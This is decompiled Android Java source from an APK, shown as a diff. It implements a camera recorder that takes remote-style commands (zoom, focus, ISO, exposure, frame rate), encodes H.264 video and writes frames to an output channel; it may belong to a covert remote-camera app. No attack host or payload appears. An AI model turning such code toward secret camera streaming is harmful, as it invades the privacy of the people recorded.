return point;
|
||||
}
|
||||
|
||||
private String ZoomNew(String str) {
|
||||
try {
|
||||
float parseInt = ((Integer.parseInt(str) * (((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue() - 1.0f)) / 100.0f) + 1.0f;
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
int width = rect.width() / 2;
|
||||
int height = rect.height() / 2;
|
||||
int width2 = (int) ((rect.width() * 0.5f) / parseInt);
|
||||
int height2 = (int) ((rect.height() * 0.5f) / parseInt);
|
||||
Rect rect2 = new Rect(width - width2, height - height2, width + width2, height + height2);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect2);
|
||||
setParams();
|
||||
return String.format("Zoom x%f (%dx%d) %s [%d,%d,%d,%d]", Float.valueOf(parseInt), Integer.valueOf(rect2.centerX()), Integer.valueOf(rect2.centerY()), str, Integer.valueOf(rect2.left), Integer.valueOf(rect2.top), Integer.valueOf(rect2.right), Integer.valueOf(rect2.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String ZoomPlus(String str, double d) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
float floatValue = ((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue();
|
||||
Rect rect2 = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
String[] split = str.split(",");
|
||||
Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1])));
|
||||
int round = (int) Math.round(rect2.width() * d);
|
||||
int round2 = (int) Math.round(rect2.height() * d);
|
||||
if (round < rect.width() / floatValue) {
|
||||
round = (int) (rect.width() / floatValue);
|
||||
}
|
||||
if (round2 < rect.height() / floatValue) {
|
||||
round2 = (int) (rect.height() / floatValue);
|
||||
}
|
||||
Rect rect3 = new Rect(point.x - (round / 2), point.y - (round2 / 2), point.x + (round / 2), point.y + (round2 / 2));
|
||||
if (rect3.left < 0) {
|
||||
rect3.right -= rect3.left;
|
||||
rect3.left = 0;
|
||||
}
|
||||
if (rect3.top < 0) {
|
||||
rect3.bottom -= rect3.top;
|
||||
rect3.top = 0;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect3);
|
||||
setParams();
|
||||
return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", Integer.valueOf((int) Math.round((rect.width() * rect.height()) / (rect3.width() * rect3.height()))), Integer.valueOf(rect3.centerX()), Integer.valueOf(rect3.centerY()), Integer.valueOf(rect3.left), Integer.valueOf(rect3.top), Integer.valueOf(rect3.right), Integer.valueOf(rect3.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String BrightPlus() {
|
||||
String str = "";
|
||||
try {
|
||||
int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() + 1;
|
||||
if (intValue > 4) {
|
||||
intValue = 4;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue));
|
||||
str = String.format("Brightness %d", Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return str;
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String BrightMinus() {
|
||||
String str = "";
|
||||
try {
|
||||
int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() - 1;
|
||||
if (intValue < -4) {
|
||||
intValue = -4;
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue));
|
||||
str = String.format("Brightness %d", Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return str;
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String WhileBlack() {
|
||||
String str = "";
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue() == 0 ? 1 : 0));
|
||||
str = "Black and white.";
|
||||
setParams();
|
||||
return "Black and white.";
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return str;
|
||||
}
|
||||
}
|
||||
|
||||
private String ZoomMinus(String str) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, new Rect(0, 0, rect.right, rect.bottom));
|
||||
setParams();
|
||||
return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", 1, Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(rect.left), Integer.valueOf(rect.top), Integer.valueOf(rect.right), Integer.valueOf(rect.bottom));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String Monochrom(String str) {
|
||||
int i = !str.equals("0");
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(i));
|
||||
setParams();
|
||||
return i == 1 ? "Monochrom enable." : "Monochrom disable.";
|
||||
}
|
||||
|
||||
private Rect getRect(String str) {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
String[] split = str.split(",");
|
||||
int parseInt = Integer.parseInt(split[2]);
|
||||
int parseInt2 = Integer.parseInt(split[3]);
|
||||
if (parseInt > rect.width()) {
|
||||
parseInt = rect.width();
|
||||
}
|
||||
if (parseInt2 > rect.height()) {
|
||||
parseInt2 = rect.height();
|
||||
}
|
||||
Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1])));
|
||||
int i = parseInt / 2;
|
||||
int i2 = parseInt2 / 2;
|
||||
Rect rect2 = new Rect(point.x - i, point.y - i2, point.x + i, point.y + i2);
|
||||
if (rect2.top < rect.top) {
|
||||
rect2.bottom -= rect2.top - rect.top;
|
||||
rect2.top = rect.top;
|
||||
}
|
||||
if (rect2.left < rect.left) {
|
||||
rect2.right -= rect2.left - rect.left;
|
||||
rect2.left = rect.left;
|
||||
}
|
||||
if (rect2.bottom > rect.bottom) {
|
||||
rect2.bottom = rect.bottom;
|
||||
}
|
||||
if (rect2.right > rect.right) {
|
||||
rect2.right = rect.right;
|
||||
}
|
||||
return rect2;
|
||||
}
|
||||
|
||||
private String AF(String str) {
|
||||
try {
|
||||
Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 2);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0);
|
||||
setParams();
|
||||
Rect rect2 = getRect(str);
|
||||
if (rect.contains(rect2)) {
|
||||
rect = rect2;
|
||||
}
|
||||
MeteringRectangle[] meteringRectangleArr = {new MeteringRectangle(rect, 0)};
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, meteringRectangleArr);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 1);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 1);
|
||||
setParams();
|
||||
return String.format("AF: %dx%d [%d,%d,%d,%d,%d]", Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(meteringRectangleArr[0].getX()), Integer.valueOf(meteringRectangleArr[0].getY()), Integer.valueOf(meteringRectangleArr[0].getWidth()), Integer.valueOf(meteringRectangleArr[0].getHeight()), Integer.valueOf(meteringRectangleArr[0].getMeteringWeight()));
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private String Focus(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0);
|
||||
float parseFloat = (Float.parseFloat(str) * ((Float) this.properties.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)).floatValue()) / 1000.0f;
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(parseFloat));
|
||||
setParams();
|
||||
return String.format("Focus: %f", Float.valueOf(parseFloat));
|
||||
}
|
||||
|
||||
private String Sensitivity(String str) {
|
||||
int parseInt = Integer.parseInt(str);
|
||||
Range range = (Range) this.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE);
|
||||
int intValue = ((Integer) range.getLower()).intValue() + ((parseInt * (((Integer) this.properties.get(CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY)).intValue() - ((Integer) range.getLower()).intValue())) / 100);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(intValue));
|
||||
setParams();
|
||||
return String.format("Sensitivity: %d", Integer.valueOf(intValue));
|
||||
}
|
||||
|
||||
private String ISO(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("ISO: %s", str);
|
||||
}
|
||||
|
||||
private String FPS(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, Long.valueOf(1000000000 / Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("FPS: %s", str);
|
||||
}
|
||||
|
||||
private String Exposure(String str) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0);
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, Long.valueOf(1000000000 / Integer.parseInt(str)));
|
||||
setParams();
|
||||
return String.format("Exposure: %s", str);
|
||||
}
|
||||
|
||||
private String AE() {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 1);
|
||||
setParams();
|
||||
return "Enable AE";
|
||||
}
|
||||
|
||||
private String UserMode(String str) {
|
||||
String trim = str.trim();
|
||||
if (trim.length() > 0) {
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 0);
|
||||
setParams();
|
||||
int parseInt = Integer.parseInt(trim);
|
||||
if (parseInt == 0) {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 1);
|
||||
} else {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 2);
|
||||
}
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_SCENE_MODE, Integer.valueOf(parseInt));
|
||||
setParams();
|
||||
return String.format("User mode: %s", trim);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private String ABW(String str) {
|
||||
String trim = str.trim();
|
||||
if (trim.length() > 0) {
|
||||
try {
|
||||
this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AWB_MODE, Integer.valueOf(Integer.parseInt(trim) + 1));
|
||||
setParams();
|
||||
return String.format("ABW: %s", trim);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private String Test(String str) {
|
||||
try {
|
||||
this.iTest = 0;
|
||||
return "test";
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
return "test";
|
||||
}
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public String SetCommand(String str, String str2) {
|
||||
return str.equals("ZoomPlus") ? ZoomPlus(str2, 0.75d) : str.equals("Test") ? Test(str2) : str.equals("ZoomMinus") ? ZoomMinus(str2) : str.equals("Zoom") ? ZoomNew(str2) : str.equals("Monochrom") ? Monochrom(str2) : str.equals("WhileBlack") ? WhileBlack() : str.equals("BrightPlus") ? BrightPlus() : str.equals("BrightMinus") ? BrightMinus() : str.equals("Move") ? ZoomPlus(str2, 1.0d) : str.equals("AF") ? AF(str2) : str.equals("Focus") ? Focus(str2) : str.equals("ABW") ? ABW(str2) : str.equals("User_Mode") ? UserMode(str2) : str.equals("Exposure") ? Exposure(str2) : str.equals("Sensitivity") ? Sensitivity(str2) : str.equals("AE") ? AE() : str.equals("SetISO") ? ISO(str2) : str.equals("SetFPS") ? FPS(str2) : str;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int MinISO() {
|
||||
return this.MinISO;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int MaxISO() {
|
||||
return this.MaxISO;
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public int FPS() {
|
||||
return this.FPS;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,763 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.graphics.Point;
|
||||
import android.graphics.Rect;
|
||||
import android.hardware.camera2.CameraAccessException;
|
||||
import android.hardware.camera2.CameraCaptureSession;
|
||||
import android.hardware.camera2.CameraCharacteristics;
|
||||
import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession;
|
||||
import android.hardware.camera2.CameraDevice;
|
||||
import android.hardware.camera2.CameraManager;
|
||||
import android.hardware.camera2.CaptureFailure;
|
||||
import android.hardware.camera2.CaptureRequest;
|
||||
import android.hardware.camera2.CaptureResult;
|
||||
import android.hardware.camera2.TotalCaptureResult;
|
||||
import android.hardware.camera2.params.MeteringRectangle;
|
||||
import android.hardware.camera2.params.StreamConfigurationMap;
|
||||
import android.media.MediaCodec;
|
||||
import android.media.MediaCrypto;
|
||||
import android.media.MediaFormat;
|
||||
import android.os.Handler;
|
||||
import android.os.HandlerThread;
|
||||
import android.util.Log;
|
||||
import android.util.Range;
|
||||
import android.util.Size;
|
||||
import android.view.Surface;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.function.Predicate;
|
||||
import java.util.stream.Stream;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class CameraASUSn implements ICameraRecord {
|
||||
static boolean Restarting;
|
||||
String[] CamResFPS;
|
||||
Size MaxSize;
|
||||
int aec;
|
||||
int caem;
|
||||
int cafm;
|
||||
MeteringRectangle[] cafr;
|
||||
int caft;
|
||||
int cem;
|
||||
Comand comand;
|
||||
private byte[] config;
|
||||
MediaFormat format;
|
||||
private String id;
|
||||
float lfd;
|
||||
CameraDevice mCamera;
|
||||
CameraManager mCameraManager;
|
||||
Handler mHandler;
|
||||
MediaCodec mMediaCodec;
|
||||
List<Surface> mOutputSurfaces;
|
||||
CaptureRequest.Builder mRecordingRequestBuilder;
|
||||
private Surface mRecordingSurface;
|
||||
private CameraCaptureSession mSession;
|
||||
private CameraConstrainedHighSpeedCaptureSession mSessionHI;
|
||||
HandlerThread mThread;
|
||||
CameraCharacteristics properties;
|
||||
Rect rect;
|
||||
Long set;
|
||||
Long sfd;
|
||||
Speek speek;
|
||||
int ss;
|
||||
private int countSend = 0;
|
||||
public int MinISO = 0;
|
||||
public int MaxISO = 0;
|
||||
public int FPS = 30;
|
||||
int endkey = 0;
|
||||
int outbyte = 0;
|
||||
short outFPS = 0;
|
||||
long timebyte = System.currentTimeMillis();
|
||||
private final MediaCodec.Callback mediaCodecCallback = new MediaCodec.Callback() { // from class: com.nvav.srv.recorder.CameraASUSn.1
|
||||
@Override // android.media.MediaCodec.Callback
|
||||
public void onInputBufferAvailable(MediaCodec mediaCodec, int i) {
|
||||
}
|
||||
|
||||
@Override // android.media.MediaCodec.Callback
|
||||
public void onOutputBufferAvailable(MediaCodec mediaCodec, int i, MediaCodec.BufferInfo bufferInfo) {
|
||||
try {
|
||||
ByteBuffer outputBuffer = CameraASUSn.this.mMediaCodec.getOutputBuffer(i);
|
||||
if (outputBuffer != null && bufferInfo.size != 0) {
|
||||
CameraASUSn.this.outbyte += bufferInfo.size;
|
||||
CameraASUSn cameraASUSn = CameraASUSn.this;
|
||||
cameraASUSn.outFPS = (short) (cameraASUSn.outFPS + 1);
|
||||
if (System.currentTimeMillis() - CameraASUSn.this.timebyte > 1000) {
|
||||
CameraASUSn.this.comand.WriteOut(ByteBuffer.allocate(11).put((byte) 8).putShort(CameraASUSn.this.outFPS).putInt(CameraASUSn.this.outbyte).putInt((int) (System.currentTimeMillis() - CameraASUSn.this.timebyte)).array());
|
||||
CameraASUSn.this.outbyte = 0;
|
||||
CameraASUSn.this.outFPS = (short) 0;
|
||||
CameraASUSn.this.timebyte = System.currentTimeMillis();
|
||||
}
|
||||
outputBuffer.position(bufferInfo.offset);
|
||||
outputBuffer.limit(bufferInfo.offset + bufferInfo.size);
|
||||
byte[] bArr = new byte[bufferInfo.size];
|
||||
outputBuffer.get(bArr);
|
||||
if (bufferInfo.flags == 2) {
|
||||
try {
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream.write(3);
|
||||
byteArrayOutputStream.write(2);
|
||||
byteArrayOutputStream.write(bArr);
|
||||
byteArrayOutputStream.flush();
|
||||
CameraASUSn.this.config = byteArrayOutputStream.toByteArray();
|
||||
byteArrayOutputStream.close();
|
||||
} catch (IOException e) {
|
||||
CameraASUSn.this.comand.WriteErr(e);
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
CameraASUSn.access$108(CameraASUSn.this);
|
||||
ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream2.write(3);
|
||||
if (bufferInfo.flags == 1) {
|
||||
CameraASUSn cameraASUSn2 = CameraASUSn.this;
|
||||
cameraASUSn2.endkey = cameraASUSn2.countSend;
|
||||
CameraASUSn.this.comand.WriteOut(CameraASUSn.this.config);
|
||||
byteArrayOutputStream2.write(1);
|
||||
ByteBuffer allocate = ByteBuffer.allocate(4);
|
||||
allocate.putInt(CameraASUSn.this.endkey);
|
||||
byteArrayOutputStream2.write(allocate.array());
|
||||
} else {
|
||||
byteArrayOutputStream2.write(0);
|
||||
ByteBuffer allocate2 = ByteBuffer.allocate(8);
|
||||
allocate2.putInt(CameraASUSn.this.countSend);
|
||||
allocate2.putInt(CameraASUSn.this.endkey);
|
||||
byteArrayOutputStream2.write(allocate2.array());
|
||||
}
|
||||
byteArrayOutputStream2.write(bArr);
|
||||
byteArrayOutputStream2.flush();
|
||||
CameraASUSn.this.comand.WriteOut(byteArrayOutputStream2.toByteArray());
|
||||
byteArrayOutputStream2.close();
|
||||
} catch (IOException e2) {
|
||||
CameraASUSn.this.comand.WriteErr(e2);
|
||||
}
|
||||
}
|
||||
}
|
||||
CameraASUSn.this.mMediaCodec.releaseOutputBuffer(i, true);
|
||||
} catch (ArithmeticException e3) {
|
||||
CameraASUSn.this.comand.WriteErr(e3);
|
||||
CameraASUSn.this.mMediaCodec.reset();
|
||||
} catch (IllegalStateException e4) {
|
||||
CameraASUSn.this.comand.WriteErr(e4);
|
||||
CameraASUSn.Restarting = true;
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.media.MediaCodec.Callback
|
||||
public void onError(MediaCodec mediaCodec, MediaCodec.CodecException codecException) {
|
||||
CameraASUSn.this.comand.WriteOut("result=MediaCodecf onError.");
|
||||
}
|
||||
|
||||
@Override // android.media.MediaCodec.Callback
|
||||
public void onOutputFormatChanged(MediaCodec mediaCodec, MediaFormat mediaFormat) {
|
||||
CameraASUSn.this.mMediaCodec.getOutputFormat();
|
||||
CameraASUSn.this.comand.WriteOut("result=MediaCodecf onOutputFormatChanged.");
|
||||
}
|
||||
};
|
||||
private final CameraDevice.StateCallback mDeviceListener = new CameraDevice.StateCallback() { // from class: com.nvav.srv.recorder.CameraASUSn.2
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onOpened(CameraDevice cameraDevice) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Camera open.");
|
||||
try {
|
||||
CameraASUSn.this.mCamera = cameraDevice;
|
||||
CameraASUSn cameraASUSn = CameraASUSn.this;
|
||||
cameraASUSn.properties = cameraASUSn.mCameraManager.getCameraCharacteristics(CameraASUSn.this.mCamera.getId());
|
||||
Size[] outputSizes = ((StreamConfigurationMap) CameraASUSn.this.properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class);
|
||||
CameraASUSn.this.MaxSize = null;
|
||||
for (Size size : outputSizes) {
|
||||
if (size.getWidth() == Integer.parseInt(CameraASUSn.this.CamResFPS[2]) && size.getHeight() == Integer.parseInt(CameraASUSn.this.CamResFPS[3])) {
|
||||
CameraASUSn.this.MaxSize = size;
|
||||
}
|
||||
}
|
||||
CameraASUSn.this.comand.WriteOut(String.format("result=Width:%d Height:%d", Integer.valueOf(CameraASUSn.this.MaxSize.getWidth()), Integer.valueOf(CameraASUSn.this.MaxSize.getHeight())));
|
||||
CameraASUSn cameraASUSn2 = CameraASUSn.this;
|
||||
cameraASUSn2.format = MediaFormat.createVideoFormat("video/avc", cameraASUSn2.MaxSize.getWidth(), CameraASUSn.this.MaxSize.getHeight());
|
||||
CameraASUSn.this.format.setInteger("color-format", 2130708361);
|
||||
CameraASUSn cameraASUSn3 = CameraASUSn.this;
|
||||
cameraASUSn3.FPS = Integer.parseInt(cameraASUSn3.CamResFPS[5]);
|
||||
CameraASUSn.this.format.setInteger("bitrate", Integer.parseInt(CameraASUSn.this.CamResFPS[0]));
|
||||
CameraASUSn.this.format.setInteger("frame-rate", CameraASUSn.this.FPS);
|
||||
CameraASUSn.this.format.setInteger("i-frame-interval", 1);
|
||||
CameraASUSn.this.comand.WriteOut(String.format("result=BitRate:%s", CameraASUSn.this.CamResFPS[0]));
|
||||
CameraASUSn.this.comand.WriteOut(String.format("result=BitRate:%d", Integer.valueOf(CameraASUSn.this.format.getInteger("bitrate"))));
|
||||
CameraASUSn.this.comand.WriteOut(String.format("result=FrameRate:%d", Integer.valueOf(CameraASUSn.this.format.getInteger("frame-rate"))));
|
||||
CameraASUSn.this.mMediaCodec = MediaCodec.createEncoderByType("video/avc");
|
||||
CameraASUSn.this.mMediaCodec.configure(CameraASUSn.this.format, (Surface) null, (MediaCrypto) null, 1);
|
||||
CameraASUSn.this.mMediaCodec.setCallback(CameraASUSn.this.mediaCodecCallback);
|
||||
CameraASUSn cameraASUSn4 = CameraASUSn.this;
|
||||
cameraASUSn4.mRecordingSurface = cameraASUSn4.mMediaCodec.createInputSurface();
|
||||
CameraASUSn.this.mOutputSurfaces = new ArrayList();
|
||||
CameraASUSn.this.mOutputSurfaces.add(CameraASUSn.this.mRecordingSurface);
|
||||
if (Integer.valueOf(CameraASUSn.this.CamResFPS[5]).intValue() > 30) {
|
||||
CameraASUSn.this.mCamera.createConstrainedHighSpeedCaptureSession(CameraASUSn.this.mOutputSurfaces, CameraASUSn.this.sessionListener, CameraASUSn.this.mHandler);
|
||||
} else {
|
||||
CameraASUSn.this.mCamera.createCaptureSession(CameraASUSn.this.mOutputSurfaces, CameraASUSn.this.sessionListener, CameraASUSn.this.mHandler);
|
||||
}
|
||||
CameraASUSn.this.mMediaCodec.start();
|
||||
} catch (Exception e) {
|
||||
CameraASUSn.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onClosed(CameraDevice cameraDevice) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Camera close.");
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onDisconnected(CameraDevice cameraDevice) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Camera disconnected.");
|
||||
CameraASUSn.Restarting = true;
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onError(CameraDevice cameraDevice, int i) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Camera error.");
|
||||
CameraASUSn.this.comand.WriteOut(String.format("result=C.E(%d)", Integer.valueOf(i)));
|
||||
}
|
||||
};
|
||||
CameraCaptureSession.StateCallback sessionListener = new CameraCaptureSession.StateCallback() { // from class: com.nvav.srv.recorder.CameraASUSn.3
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onConfigured(CameraCaptureSession cameraCaptureSession) {
|
||||
try {
|
||||
CameraASUSn.this.comand.WriteOut("result=Session configure.");
|
||||
if (Integer.valueOf(CameraASUSn.this.CamResFPS[5]).intValue() > 30) {
|
||||
CameraASUSn.this.mSessionHI = (CameraConstrainedHighSpeedCaptureSession) cameraCaptureSession;
|
||||
} else {
|
||||
CameraASUSn.this.mSession = cameraCaptureSession;
|
||||
}
|
||||
CameraASUSn cameraASUSn = CameraASUSn.this;
|
||||
cameraASUSn.mRecordingRequestBuilder = cameraASUSn.mCamera.createCaptureRequest(3);
|
||||
CameraASUSn.this.mRecordingRequestBuilder.addTarget(CameraASUSn.this.mRecordingSurface);
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(Integer.valueOf(Integer.parseInt(CameraASUSn.this.CamResFPS[4])), Integer.valueOf(Integer.parseInt(CameraASUSn.this.CamResFPS[5]))));
|
||||
CameraASUSn.this.setParams();
|
||||
if (CameraASUSn.Restarting) {
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, CameraASUSn.this.rect);
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(CameraASUSn.this.aec));
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(CameraASUSn.this.cem));
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, CameraASUSn.this.cafr);
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(CameraASUSn.this.ss));
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, CameraASUSn.this.sfd);
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, CameraASUSn.this.set);
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraASUSn.this.cafm));
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, Integer.valueOf(CameraASUSn.this.caem));
|
||||
CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, Integer.valueOf(CameraASUSn.this.caft));
|
||||
CameraASUSn.this.setParams();
|
||||
}
|
||||
} catch (Exception e) {
|
||||
CameraASUSn.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onActive(CameraCaptureSession cameraCaptureSession) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Session active.");
|
||||
Log.d("CameraCaptureSession ac", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onClosed(CameraCaptureSession cameraCaptureSession) {
|
||||
CameraASUSn.this.comand.WriteOut("result=Session closed.");
|
||||
try {
|
||||
CameraASUSn cameraASUSn = CameraASUSn.this;
|
||||
cameraASUSn.rect = (Rect) cameraASUSn.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
CameraASUSn cameraASUSn2 = CameraASUSn.this;
|
||||
cameraASUSn2.aec = ((Integer) cameraASUSn2.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue();
|
||||
CameraASUSn cameraASUSn3 = CameraASUSn.this;
|
||||
cameraASUSn3.cem = ((Integer) cameraASUSn3.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue();
|
||||
CameraASUSn cameraASUSn4 = CameraASUSn.this;
|
||||
